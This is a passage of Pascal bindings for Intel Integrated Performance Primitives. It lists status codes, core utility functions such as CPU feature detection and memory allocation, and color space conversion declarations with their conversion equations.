ippStsMP4VideoCompModeErr = -91; { Incorrect video component mode. }
ippStsMP4LinearModeErr = -90; { Incorrect DC linear mode. }
ippStsH263PredModeErr = -83; { Incorrect Prediction Mode value. }
ippStsH263BlockStepErr = -82; { The step value is less than 8. }
ippStsH263MBStepErr = -81; { The step value is less than 16. }
ippStsH263FrameWidthErr = -80; { The frame width is less than 8. }
ippStsH263FrameHeightErr = -79; { The frame height is less than, or equal to zero. }
ippStsH263ExpandPelsErr = -78; { Expand pixels number is less than 8. }
ippStsH263PlaneStepErr = -77; { Step value is less than the plane width. }
ippStsH263QuantErr = -76; { Quantizer value is less than, or equal to zero, or greater than 31. }
ippStsH263MVCodeErr = -75; { Illegal Huffman code is detected during MV stream processing. }
ippStsH263VLCCodeErr = -74; { Illegal Huffman code is detected during VLC stream processing. }
ippStsH263DCCodeErr = -73; { Illegal code is detected during DC stream processing. }
ippStsH263ZigzagLenErr = -72; { Zigzag compact length is more than 64. }
ippStsFBankFreqErr = -71; { Incorrect value for the filter bank frequency parameter. }
ippStsFBankFlagErr = -70; { Incorrect value for the filter bank parameter. }
ippStsFBankErr = -69; { Filter bank is not correctly initialized. }
ippStsNegOccErr = -67; { Occupation count is negative. }
ippStsCdbkFlagErr = -66; { Incorrect value for the codebook flag parameter. }
ippStsSVDCnvgErr = -65; { SVD algorithm does not converge. }
ippStsJPEGHuffTableErr = -64; { JPEG Huffman table is destroyed. }
ippStsJPEGDCTRangeErr = -63; { JPEG DCT coefficient is out of range. }
ippStsJPEGOutOfBufErr = -62; { Attempt to access out of the buffer limits. }
ippStsDrawTextErr = -61; { System error in the draw text operation. }
ippStsChannelOrderErr = -60; { Incorrect order of the destination channels. }
ippStsZeroMaskValuesErr = -59; { All values of the mask are equal to zero. }
ippStsQuadErr = -58; { The quadrangle is nonconvex or degenerates into triangle, line, or point }
ippStsRectErr = -57; { Size of the rectangle region is less than, or equal to 1. }
ippStsCoeffErr = -56; { Incorrect values for transformation coefficients. }
ippStsNoiseValErr = -55; { Incorrect value for noise amplitude for dithering. }
ippStsDitherLevelsErr = -54; { Number of dithering levels is out of range. }
ippStsNumChannelsErr = -53; { Number of channels is incorrect, or not supported. }
ippStsCOIErr = -52; { COI is out of range. }
ippStsDivisorErr = -51; { Divisor is equal to zero, function is aborted. }
ippStsAlphaTypeErr = -50; { Illegal type of image compositing operation. }
ippStsGammaRangeErr = -49; { Gamma range bounds is less than, or equal to zero. }
ippStsGrayCoefSumErr = -48; { Sum of the conversion coefficients must be less than, or equal to 1. }
ippStsChannelErr = -47; { Illegal channel number. }
ippStsToneMagnErr = -46; { Tone magnitude is less than, or equal to zero. }
ippStsToneFreqErr = -45; { Tone frequency is negative, or greater than, or equal to 0.5. }
ippStsTonePhaseErr = -44; { Tone phase is negative, or greater than, or equal to 2*PI. }
ippStsTrnglMagnErr = -43; { Triangle magnitude is less than, or equal to zero. }
ippStsTrnglFreqErr = -42; { Triangle frequency is negative, or greater than, or equal to 0.5. }
ippStsTrnglPhaseErr = -41; { Triangle phase is negative, or greater than, or equal to 2*PI. }
ippStsTrnglAsymErr = -40; { Triangle asymmetry is less than -PI, or greater than, or equal to PI. }
ippStsHugeWinErr = -39; { Kaiser window is too big. }
ippStsJaehneErr = -38; { Magnitude value is negative. }
ippStsStrideErr = -37; { Stride value is less than the length of the row. }
ippStsEpsValErr = -36; { Negative epsilon value. }
ippStsWtOffsetErr = -35; { Invalid offset value for wavelet filter. }
ippStsAnchorErr = -34; { Anchor point is outside the mask. }
ippStsMaskSizeErr = -33; { Invalid mask size. }
ippStsShiftErr = -32; { Shift value is less than zero. }
ippStsSampleFactorErr = -31; { Sampling factor is less than, or equal to zero. }
ippStsSamplePhaseErr = -30; { Phase value is out of range: 0 <= phase < factor. }
ippStsFIRMRFactorErr = -29; { MR FIR sampling factor is less than, or equal to zero. }
ippStsFIRMRPhaseErr = -28; { MR FIR sampling phase is negative, or greater than, or equal to the sampling factor. }
ippStsRelFreqErr = -27; { Relative frequency value is out of range. }
ippStsFIRLenErr = -26; { Length of a FIR filter is less than, or equal to zero. }
ippStsIIROrderErr = -25; { Order of an IIR filter is not valid. }
ippStsDlyLineIndexErr = -24; { Invalid value for the delay line sample index. }
ippStsResizeFactorErr = -23; { Resize factor(s) is less than, or equal to zero. }
ippStsInterpolationErr = -22; { Invalid interpolation mode. }
ippStsMirrorFlipErr = -21; { Invalid flip mode. }
ippStsMoment00ZeroErr = -20; { Moment value M(0,0) is too small to continue calculations. }
ippStsThreshNegLevelErr = -19; { Negative value of the level in the threshold operation. }
ippStsThresholdErr = -18; { Invalid threshold bounds. }
ippStsContextMatchErr = -17; { Context parameter does not match the operation. }
ippStsFftFlagErr = -16; { Invalid value for the FFT flag parameter. }
ippStsFftOrderErr = -15; { Invalid value for the FFT order parameter. }
ippStsStepErr = -14; { Step value is not valid. }
ippStsScaleRangeErr = -13; { Scale bounds are out of range. }
ippStsDataTypeErr = -12; { Data type is incorrect or not supported. }
ippStsOutOfRangeErr = -11; { Argument is out of range, or point is outside the image. }
ippStsDivByZeroErr = -10; { An attempt to divide by zero. }
ippStsMemAllocErr = -9; { Memory allocated for the operation is not enough.}
ippStsNullPtrErr = -8; { Null pointer error. }
ippStsRangeErr = -7; { Incorrect values for bounds: the lower bound is greater than the upper bound. }
ippStsSizeErr = -6; { Incorrect value for data size. }
ippStsBadArgErr = -5; { Incorrect arg/param of the function. }
ippStsNoMemErr = -4; { Not enough memory for the operation. }
ippStsSAReservedErr3 = -3; { Unknown/unspecified error, -3. }
ippStsErr = -2; { Unknown/unspecified error, -2. }
ippStsSAReservedErr1 = -1; { Unknown/unspecified error, -1. }
{ no errors }
ippStsNoErr = 0; { No errors. }
{ warnings }
ippStsNoOperation = 1; { No operation has been executed. }
ippStsMisalignedBuf = 2; { Misaligned pointer in operation in which it must be aligned. }
ippStsSqrtNegArg = 3; { Negative value(s) for the argument in the Sqrt function. }
ippStsInvZero = 4; { INF result. Zero value was met by InvThresh with zero level. }
ippStsEvenMedianMaskSize= 5; { Even size of the Median Filter mask was replaced with the odd one. }
ippStsDivByZero = 6; { Zero value(s) for the divisor in the Div function. }
ippStsLnZeroArg = 7; { Zero value(s) for the argument in the Ln function. }
ippStsLnNegArg = 8; { Negative value(s) for the argument in the Ln function. }
ippStsNanArg = 9; { Argument value is not a number. }
ippStsJPEGMarker = 10; { JPEG marker in the bitstream. }
ippStsResFloor = 11; { All result values are floored. }
ippStsOverflow = 12; { Overflow in the operation. }
ippStsLSFLow = 13; { Quantized LP synthesis filter stability check is applied at the low boundary of [0;pi]. }
ippStsLSFHigh = 14; { Quantized LP synthesis filter stability check is applied at the high boundary of [0;pi]. }
ippStsLSFLowAndHigh = 15; { Quantized LP synthesis filter stability check is applied at both boundaries of [0;pi]. }
ippStsZeroOcc = 16; { Zero occupation count. }
ippStsUnderflow = 17; { Underflow in the operation. }
ippStsSingularity = 18; { Singularity in the operation. }
ippStsDomain = 19; { Argument is out of the function domain. }
ippStsNonIntelCpu = 20; { The target CPU is not Genuine Intel. }
ippStsCpuMismatch = 21; { Cannot set the library for the given CPU. }
ippStsNoIppFunctionFound = 22; { Application does not contain Intel IPP function calls. }
ippStsDllNotFoundBestUsed = 23; { Dispatcher cannot find the newest version of the Intel IPP dll. }
ippStsNoOperationInDll = 24; { The function does nothing in the dynamic version of the library. }
ippStsInsufficientEntropy= 25; { Generation of the prime/key failed due to insufficient entropy in the random seed and stimulus bit string. }
ippStsOvermuchStrings = 26; { Number of destination strings is more than expected. }
ippStsOverlongString = 27; { Length of one of the destination strings is more than expected. }
ippStsAffineQuadChanged = 28; { 4th vertex of destination quad is not equal to customer`s one. }
ippStsWrongIntersectROI = 29; { ROI has no intersection with the source or destination ROI. No operation. }
ippStsWrongIntersectQuad = 30; { Quadrangle has no intersection with the source or destination ROI. No operation. }
ippStsSmallerCodebook = 31; { Size of created codebook is less than the cdbkSize argument. }
ippStsSrcSizeLessExpected = 32; { DC: Size of the source buffer is less than the expected one. }
ippStsDstSizeLessExpected = 33; { DC: Size of the destination buffer is less than the expected one. }
ippStsStreamEnd = 34; { DC: The end of stream processed. }
ippStsDoubleSize = 35; { Width or height of image is odd. }
ippStsNotSupportedCpu = 36; { The CPU is not supported. }
ippStsUnknownCacheSize = 37; { The CPU is supported, but the size of the cache is unknown. }
ippStsSymKernelExpected = 38; { The Kernel is not symmetric. }
ippStsEvenMedianWeight = 39; { Even weight of the Weighted Median Filter is replaced with the odd one. }
ippStsWrongIntersectVOI = 40; { VOI has no intersection with the source or destination volume. No operation. }
ippStsI18nMsgCatalogInvalid=41; { Message Catalog is invalid, English message returned. }
ippStsI18nGetMessageFail = 42; { Failed to fetch a localized message, English message returned. For more information use errno on Linux* OS and GetLastError on Windows* OS. }
ippStsWaterfall = 43; { Cannot load required library, waterfall is used. }
ippStsPrevLibraryUsed = 44; { Cannot load required library, previous dynamic library is used. }
ippStsLLADisabled = 45; { OpenMP* Low Level Affinity is disabled. }
ippStsNoAntialiasing = 46; { The mode does not support antialiasing. }
ippStsRepetitiveSrcData = 47; { DC: The source data is too repetitive. }
ippStsSizeWrn = 48; { The size does not allow to perform full operation. }
ippStsFeatureNotSupported = 49; { Current CPU doesn`t support at least 1 of the desired features. }
ippStsUnknownFeature = 50; { At least one of the desired features is unknown. }
ippStsFeaturesCombination = 51; { Wrong combination of features. }
ippStsAccurateModeNotSupported = 52; { Accurate mode is not supported. }
type
IppStatus = Int32;
{const} var
ippRectInfinite : IppiRect external name '_ippRectInfinite';
{
Intel(R) Integrated Performance Primitives
Core (ippCore)
}
{ ----------------------------------------------------------------------------
Functions declarations
{ ----------------------------------------------------------------------------
Name: ippGetLibVersion
Purpose: getting of the library version
Returns: the structure of information about version
of ippcore library
Parameters:
Notes: not necessary to release the returned structure
}
function ippGetLibVersion: IppLibraryVersionPtr; cdecl; external;
{ ----------------------------------------------------------------------------
Name: ippGetStatusString
Purpose: convert the library status code to a readable string
Parameters:
StsCode IPP status code
Returns: pointer to string describing the library status code
Notes: don`t free the pointer
}
function ippGetStatusString( StsCode: IppStatus): charPtr; _ippapi
{ ----------------------------------------------------------------------------
Name: ippGetCpuClocks
Purpose: reading of time stamp counter (TSC) register value
Returns: TSC value
Note: An hardware exception is possible if TSC reading is not supported by
/ the current chipset
}
function ippGetCpuClocks: Ipp64u; _ippapi
{ ----------------------------------------------------------------------------
Names: ippSetFlushToZero,
ippSetDenormAreZero.
Purpose: ippSetFlushToZero enables or disables the flush-to-zero mode,
ippSetDenormAreZero enables or disables the denormals-are-zeros
mode.
Arguments:
value - !0 or 0 - set or clear the corresponding bit of MXCSR
pUMask - pointer to user store current underflow exception mask
( may be NULL if don`t want to store )
Return:
ippStsNoErr - Ok
ippStsCpuNotSupportedErr - the mode is not supported
}
function ippSetFlushToZero( value : Int32 ; pUMask : Word32Ptr ): IppStatus; _ippapi
function ippSetDenormAreZeros( value : Int32 ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippAlignPtr
Purpose: pointer aligning
Returns: aligned pointer
Parameter:
ptr - pointer
alignBytes - number of bytes to align
}
function ippAlignPtr( ptr : Pointer ; alignBytes : Int32 ): Pointer; _ippapi
{ ----------------------------------------------------------------------------
Functions to allocate and free memory
{ ----------------------------------------------------------------------------
Name: ippMalloc
Purpose: 64-byte aligned memory allocation
Parameter:
len number of bytes
Returns: pointer to allocated memory
Notes: the memory allocated by ippMalloc has to be free by ippFree
function only.
}
function ippMalloc(length : Int32 ): Pointer; _ippapi
{ ----------------------------------------------------------------------------
Name: ippFree
Purpose: free memory allocated by the ippMalloc function
Parameter:
ptr pointer to the memory allocated by the ippMalloc function
Notes: use the function to free memory allocated by ippMalloc
}
procedure ippFree(ptr : Pointer ); _ippapi
{ ----------------------------------------------------------------------------
Name: ippInit
Purpose: Automatic switching to best for current cpu library code using.
Returns:
ippStsNoErr
Parameter: nothing
Notes: At the moment of this function execution no any other IPP function
has to be working
}
function ippInit: IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippGetCpuFreqMhz
Purpose: the function estimates cpu frequency and returns
its value in MHz as a integer
Return:
ippStsNoErr Ok
ippStsNullPtrErr null pointer to the freq value
ippStsSizeErr wrong num tries : of ; internal var
Arguments:
pMhz pointer to the integer to write
cpu freq value estimated
Notes: no exact value guaranteed : is ; the value could
vary with cpu workloading
}
function ippGetCpuFreqMhz( pMhz : Int32Ptr ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippSetNumThreads
Purpose:
Return:
ippStsNoErr Ok
ippStsNoOperation For static library internal threading is not supported
ippStsSizeErr Desired number of threads less or equal zero
Arguments:
numThr Desired number of threads
}
function ippSetNumThreads( numThr : Int32 ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippGetNumThreads
Purpose:
Return:
ippStsNoErr Ok
ippStsNullPtrErr Pointer to numThr is Null
ippStsNoOperation For static library internal threading is not supported
and return value is always == 1
Arguments:
pNumThr Pointer to memory location where to store current numThr
}
function ippGetNumThreads( var pNumThr : Int32 ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippGetMaxCacheSizeB
Purpose: Detects maximal from the sizes of L2 or L3 in bytes
Return:
ippStsNullPtrErr The result`s pointer is NULL.
ippStsNotSupportedCpu The cpu is not supported.
ippStsUnknownCacheSize The cpu supported : is ; but the size of the cache is unknown.
ippStsNoErr Ok
Arguments:
pSizeByte Pointer to the result
Note:
1). Intel(R) processors are supported only.
2). Intel(R) Itanium(R) processors and platforms with Intel XScale(R) technology are unsupported
3). For unsupported processors the result is "0",
and the return status is "ippStsNotSupportedCpu".
4). For supported processors the result is "0",
and the return status is "ippStsUnknownCacheSize".
if sizes of the cache is unknown.
}
function ippGetMaxCacheSizeB( pSizeByte : Int32Ptr ): IppStatus; _ippapi
{
Name: ippGetCpuFeatures
Purpose: Detects CPU features.
Parameters:
pFeaturesMask Pointer to the features mask.
Nonzero value of bit means the corresponding feature is supported.
Features mask values are defined in the ippdefs.h
[ 0] - MMX ( ippCPUID_MMX )
[ 1] - SSE ( ippCPUID_SSE )
[ 2] - SSE2 ( ippCPUID_SSE2 )
[ 3] - SSE3 ( ippCPUID_SSE3 )
[ 4] - SSSE3 ( ippCPUID_SSSE3 )
[ 5] - MOVBE ( ippCPUID_MOVBE )
[ 6] - SSE41 ( ippCPUID_SSE41 )
[ 7] - SSE42 ( ippCPUID_SSE42 )
[ 8] - AVX ( ippCPUID_AVX )
[ 9] - ENABLEDBYOS( ippAVX_ENABLEDBYOS )
[10] - AES ( ippCPUID_AES )
[11] - PCLMULQDQ ( ippCPUID_CLMUL )
[12] - ABR ( ippCPUID_ABR )
[13] - RDRAND ( ippCPUID_RDRAND )
[14] - F16C ( ippCPUID_F16C )
[15] - AVX2 ( ippCPUID_AVX2 )
[16] - ADOX/ADCX ( ippCPUID_ADCOX ) ADCX and ADOX instructions
[17] - RDSEED ( ippCPUID_RDSEED ) The RDSEED instruction
[18] - PREFETCHW ( ippCPUID_PREFETCHW ) The PREFETCHW instruction
[19] - SHA ( ippCPUID_SHA ) Intel (R) SHA Extensions
[20:63] - Reserved
pCpuidInfoRegs Pointer to the 4-element vector.
Result of CPUID.1 are stored in this vector.
[0] - register EAX
[1] - register EBX
[2] - register ECX
[3] - register EDX
If pointer pCpuidInfoRegs is set NULL : to ; registers are not stored.
Returns:
ippStsNullPtrErr The pointer to the features mask (pFeaturesMask) is NULL.
ippStsNotSupportedCpu CPU is not supported.
ippStsNoErr Ok
Note: Only IA-32 and Intel(R) 64 are supported
}
function ippGetCpuFeatures( pFeaturesMask : Ipp64uPtr ; pCpuidInfoRegs : Ipp32u_4Ptr ): IppStatus; _ippapi
{
Name: ippGetEnabledCpuFeatures
Purpose: Detects enabled features for loaded libraries
Returns: Features mask
Features mask values are defined in the ippdefs.h
[ 0] - ippCPUID_MMX
[ 1] - ippCPUID_SSE
[ 2] - ippCPUID_SSE2
[ 3] - ippCPUID_SSE3
[ 4] - ippCPUID_SSSE3
[ 5] - ippCPUID_MOVBE
[ 6] - ippCPUID_SSE41
[ 7] - ippCPUID_SSE42
[ 8] - ippCPUID_AVX
[ 9] - ippAVX_ENABLEDBYOS
[10] - ippCPUID_AES
[11] - ippCPUID_CLMUL
[12] - ippCPUID_ABR
[13] - ippCPUID_RDRAND
[14] - ippCPUID_F16C
[15] - ippCPUID_AVX2
[16] - ippCPUID_ADCOX
[17] - ippCPUID_RDSEED
[18] - ippCPUID_PREFETCHW
[19] - ippCPUID_SHA
[20:63] - Reserved
}
function ippGetEnabledCpuFeatures: Ipp64u; _ippapi
{ ----------------------------------------------------------------------------
Name: ippSetCpuFeatures
Purpose: Changes the set of enabled/disabled CPU features.
This function sets the processor-specific code of the Intel IPP
library according to the processor features specified in cpuFeatures.
Return:
ippStsNoErr No errors.
Warnings:
ippStsFeatureNotSupported Current CPU doesn`t support at least 1 of the
desired features;
ippStsUnknownFeature At least one of the desired features is unknown;
ippStsFeaturesCombination Wrong combination of features;
ippStsCpuMismatch Indicates that the specified processor features
are not valid. Previously set code is used.
Arguments:
cpuFeatures Desired features to support by the library
(see ippdefs.h for ippCPUID_XX definition)
NOTE: this function can re-initializes dispatcher and after the
call another library (letter) may work
CAUTION: At the moment of this function excecution no any other IPP
function has to be working
The next pre-defined sets of features can be used:
32-bit code:
#define PX_FM ( ippCPUID_MMX | ippCPUID_SSE )
#define W7_FM ( PX_FM | ippCPUID_SSE2 )
#define V8_FM ( W7_FM | ippCPUID_SSE3 | ippCPUID_SSSE3 )
#define S8_FM ( V8_FM | ippCPUID_MOVBE )
#define P8_FM ( V8_FM | ippCPUID_SSE41 | ippCPUID_SSE42 | ippCPUID_AES | ippCPUID_CLMUL | ippCPUID_SHA )
#define G9_FM ( P8_FM | ippCPUID_AVX | ippAVX_ENABLEDBYOS | ippCPUID_RDRAND | ippCPUID_F16C )
#define H9_FM ( G9_FM | ippCPUID_AVX2 | ippCPUID_MOVBE | ippCPUID_ADCOX | ippCPUID_RDSEED | ippCPUID_PREFETCHW )
64-bit code:
#define PX_FM ( ippCPUID_MMX | ippCPUID_SSE | ippCPUID_SSE2 )
#define M7_FM ( PX_FM | ippCPUID_SSE3 )
#define N8_FM ( S8_FM )
#define U8_FM ( V8_FM )
#define Y8_FM ( P8_FM )
#define E9_FM ( G9_FM )
#define L9_FM ( H9_FM )
}
function ippSetCpuFeatures( cpuFeatures : Ipp64u ): IppStatus; _ippapi
{
Intel(R) Integrated Performance Primitives
Color Conversion Library (ippCC)
}
{ ----------------------------------------------------------------------------
Functions declarations
{ ----------------------------------------------------------------------------
Name: ippccGetLibVersion
Purpose: getting of the library version
Returns: the structure of information about version
of ippCC library
Parameters:
Notes: not necessary to release the returned structure
}
function ippccGetLibVersion: IppLibraryVersionPtr; _ippapi
{ ----------------------------------------------------------------------------
Color Space Conversion Functions
{ ----------------------------------------------------------------------------
Name: ippiCbYCr422ToBGR_709HDTV_8u_C2C3R
Purpose: Converts a UYVY image to the BGR24 image
Name: ippiCbYCr422ToBGR_709HDTV_8u_C2C4R
Purpose: Converts a UYVY image to the BGRA image
Name: ippiBGRToCbYCr422_709HDTV_8u_C3C2R
Purpose: Converts a BGR24 image to the UYVY image
Name: ippiBGRToCbYCr422_709HDTV_8u_AC4C2R
Purpose: Converts a BGRA image to the UYVY image
Name: ippiYCbCr420ToBGR_709HDTV_8u_P3C4R
Purpose: Converts a I420(IYUV) image to the BGRA image
Name: ippiBGRToYCbCr420_709HDTV_8u_AC4P3R
Purpose: Converts a BGRA image to the I420(IYUV) image
Parameters:
pSrc Pointer to the source image (for pixel-order data).An array of
pointers to separate source color planes (for plane-order data)
pDst Pointer to the destination image (for pixel-order data).An array
of pointers to separate destination color planes (for plane-order data)
roiSize Size of source and destination ROI in pixels
srcStep Step in bytes through the source image to jump on the next line
dstStep Step in bytes through the destination image to jump on the next line
Returns:
ippStsNullPtrErr pSrc == NULL, or pDst == NULL
ippStsSizeErr roiSize has field with zero or negative value
ippStsNoErr No errors
Reference:
Jack Keith
Video Demystified: A Handbook for the Engineer : Digital ; 2nd ed.
1996.pp.(42-43)
YCbCr <> RGB ITU_R BT.709 (HDTV) where R'G'B' has a range of 16-235
Y has a range of 16 - 235. Cb,Cr have a range of 16 - 240
Y = 0.2126*R' + 0.7152*G' + 0.0722*B'
Cb = -0.117*R' - 0.394*G' + 0.511 * B' + 128
Cr = 0.511*R' - 0.464*G' - 0.047 * B' + 128
Cb = 0.5389 (B' - Y )
Cr = 0.6350 (R' - Y )
Digital representation.
Quantization level assignment:
- Video data: 1 through 254
- Timing reference: 0 and 255
R' = Y + 1.540*(Cr - 128 )
G' = Y - 0.459*(Cr - 128 ) - 0.183*( Cb - 128 )
B' = Y + 1.816*(Cb - 128)
}
function ippiCbYCr422ToBGR_709HDTV_8u_C2C3R( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiCbYCr422ToBGR_709HDTV_8u_C2C4R( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ; aval : Ipp8u ): IppStatus; _ippapi
function ippiBGRToCbYCr422_709HDTV_8u_C3C2R( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiBGRToCbYCr422_709HDTV_8u_AC4C2R( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiYCbCr420ToBGR_709HDTV_8u_P3C4R( pSrc : Ipp8u_3Ptr ; srcStep : Int32_3 ; pDst : Ipp8uPtr; dstStep : Int32 ; roiSize : IppiSize ; aval : Ipp8u ): IppStatus; _ippapi
function ippiBGRToYCbCr420_709HDTV_8u_AC4P3R( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDst : Ipp8u_3Ptr; dstStep : Int32_3 ; roiSize : IppiSize ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Parameters:
pSrc Pointer to the source image (for pixel-order data).An array of
pointers to separate source color planes (for plane-order data)
pDst Pointer to the destination image (for pixel-order data).An array
of pointers to separate destination color planes (for plane-order data)
roiSize Size of source and destination ROI in pixels
srcStep Step in bytes through the source image to jump on the next line
dstStep Step in bytes through the destination image to jump on the next line
Returns:
ippStsNullPtrErr pSrc == NULL, or pDst == NULL
ippStsSizeErr roiSize has field with zero or negative value
ippStsNoErr No errors
Reference:
Jack Keith
Video Demystified: A Handbook for the Engineer : Digital ; 2nd ed.
1996.pp.(42-43)
YCbCr <> RGB ITU_R BT.709 (Computer System Considerations) where R'G'B' has a range of 0-255
Y = 0.183*R' + 0.614*G' + 0.062*B' + 16
Cb = -0.101*R' - 0.338*G' + 0.439*B' + 128
Cr = 0.439*R' - 0.399*G' - 0.040*B' + 128
R' = 1.164*(Y - 16) + 1.793*(Cr - 128 )
G' = 1.164*(Y - 16) - 0.534*(Cr - 128 )- 0.213*( Cb - 128 )
B' = 1.164*(Y - 16) + 2.115*(Cb - 128 )
}
function ippiBGRToYCbCr420_709CSC_8u_AC4P3R( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDst : Ipp8u_3Ptr ; dstStep : Int32_3 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiBGRToYCrCb420_709CSC_8u_AC4P3R( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDst : Ipp8u_3Ptr ; dstStep : Int32_3 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiBGRToYCbCr420_709CSC_8u_C3P3R( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDst : Ipp8u_3Ptr ; dstStep : Int32_3 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiBGRToYCrCb420_709CSC_8u_C3P3R( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDst : Ipp8u_3Ptr ; dstStep : Int32_3 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiBGRToYCbCr420_709CSC_8u_C3P2R( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDstY : Ipp8uPtr ; dstYStep : Int32 ; pDstCbCr : Ipp8uPtr ; dstCbCrStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiBGRToYCbCr420_709CSC_8u_AC4P2R( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDstY : Ipp8uPtr ; dstYStep : Int32 ; pDstCbCr : Ipp8uPtr ; dstCbCrStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiYCbCr420ToBGR_709CSC_8u_P3C3R( pSrc : Ipp8u_3Ptr ; srcStep : Int32_3 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiYCbCrToBGR_709CSC_8u_P3C3R( pSrc : Ipp8u_3Ptr ; srcStep : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiYCbCrToBGR_709CSC_8u_P3C4R( pSrc : Ipp8u_3Ptr ; srcStep : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ; aval : Ipp8u ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Names:
ippiBGRToCbYCr422_8u_AC4C2R, ippiCbYCr422ToBGR_8u_C2C4R,
ippiYCbCr411ToBGR_8u_P3C3R
ippiYCbCr411ToBGR_8u_P3C4R
ippiRGBToCbYCr422_8u_C3C2R, ippiCbYCr422ToRGB_8u_C2C3R,
ippiRGBToCbYCr422Gamma_8u_C3C2R,
ippiYCbCr422ToRGB_8u_P3C3R
ippiRGBToYCbCr422_8u_C3C2R, ippiYCbCr422ToRGB_8u_C2C3R,
ippiYCbCr422ToRGB_8u_C2C4R,
ippiRGBToYCbCr422_8u_P3C2R, ippiYCbCr422ToRGB_8u_C2P3R,
ippiRGBToYCbCr420_8u_C3P3R, ippiYCbCr420ToRGB_8u_P3C3R,
ippiYCbCr420ToBGR_8u_P3C3R,
ippiYCbCr422ToRGB565_8u16u_C2C3R, ippiYCbCr422ToBGR565_8u16u_C2C3R,
ippiYCbCr422ToRGB555_8u16u_C2C3R, ippiYCbCr422ToBGR555_8u16u_C2C3R,
ippiYCbCr422ToRGB444_8u16u_C2C3R, ippiYCbCr422ToBGR444_8u16u_C2C3R,
ippiYCbCrToRGB565_8u16u_P3C3R, ippiYCbCrToBGR565_8u16u_P3C3R,
ippiYCbCrToRGB444_8u16u_P3C3R, ippiYCbCrToBGR444_8u16u_P3C3R,
ippiYCbCrToRGB555_8u16u_P3C3R, ippiYCbCrToBGR555_8u16u_P3C3R,
ippiYCbCr420ToRGB565_8u16u_P3C3R, ippiYCbCr420ToBGR565_8u16u_P3C3R
ippiYCbCr420ToRGB555_8u16u_P3C3R, ippiYCbCr420ToBGR555_8u16u_P3C3R,
ippiYCbCr420ToRGB444_8u16u_P3C3R, ippiYCbCr420ToBGR444_8u16u_P3C3R,
ippiYCbCr422ToRGB565_8u16u_P3C3R, ippiYCbCr422ToBGR565_8u16u_P3C3R,
ippiYCbCr422ToRGB555_8u16u_P3C3R, ippiYCbCr422ToBGR555_8u16u_P3C3R,
ippiYCbCr422ToRGB444_8u16u_P3C3R, ippiYCbCr422ToBGR444_8u16u_P3C3R,
ippiRGBToYCrCb422_8u_C3C2R, ippiYCrCb422ToRGB_8u_C2C3R,
ippiYCrCb422ToBGR_8u_C2C3R,
ippiYCrCb422ToRGB_8u_C2C4R,
ippiYCrCb422ToBGR_8u_C2C4R,
ippiRGBToYCrCb422_8u_P3C2R, ippiYCrCb422ToRGB_8u_C2P3R,
Purpose: Converts an RGB/BGR image to the YCbCr/CbYCr/YCrCb image and vice versa.
Parameters:
pSrc Pointer to the source image (for pixel-order data).An array of
pointers to separate source color planes (for plane-order data)
pDst Pointer to the destination image (for pixel-order data).An array
of pointers to separate destination color planes (for plane-order data)
roiSize Size of source and destination ROI in pixels
srcStep Step in bytes through the source image to jump on the next line
dstStep Step in bytes through the destination image to jump on the next line
aval Constant value to create the fourth channel.
Returns:
ippStsNullPtrErr pSrc == NULL, or pDst == NULL
ippStsSizeErr roiSize has field with zero or negative value
ippStsNoErr No errors
Reference:
Jack Keith
Video Demystified: A Handbook for the Engineer : Digital ; 2nd ed.
1996.pp.(42-43)
The YCbCr color space was developed as part of Recommendation ITU-R BT.601
(formerly CCI 601). Y is defined to have a nominal range of 16 to 235;
Cb and Cr are defined to have a range of 16 to 240, with 128 equal to zero.
The function ippiRGBToYCbCr422_8u_P3C2R uses 4:2:2 sampling format. For every
two horizontal samples : Y ; there is one Cb and Cr sample.
Each pixel in the input RGB image is of 24 bit depth. Each pixel in the
output YCbCr image is of 16 bit depth.
Sequence of samples in the YCbCr422 image is
Y0Cb0Y1Cr0,Y2Cb1Y3Cr1,...
Sequence of samples in the CbYCr422 image is:
Cb0Y0CrY1,Cb1Y2Cr1Y3,...
All functions operate on the gamma-corrected RGB (R'G'B') images
( ippiRGBToCbYCrGamma_8u_C3C2R : except ; see below) with pixel values
in the range 0 .. 255, as is commonly found in computer system.
Conversion is performed according to the following equations:
Y = 0.257*R' + 0.504*G' + 0.098*B' + 16
Cb = -0.148*R' - 0.291*G' + 0.439*B' + 128
Cr = 0.439*R' - 0.368*G' - 0.071*B' + 128
R' = 1.164*(Y - 16) + 1.596*(Cr - 128 )
G' = 1.164*(Y - 16) - 0.813*(Cr - 128 )- 0.392*( Cb - 128 )
B' = 1.164*(Y - 16) + 2.017*(Cb - 128 )
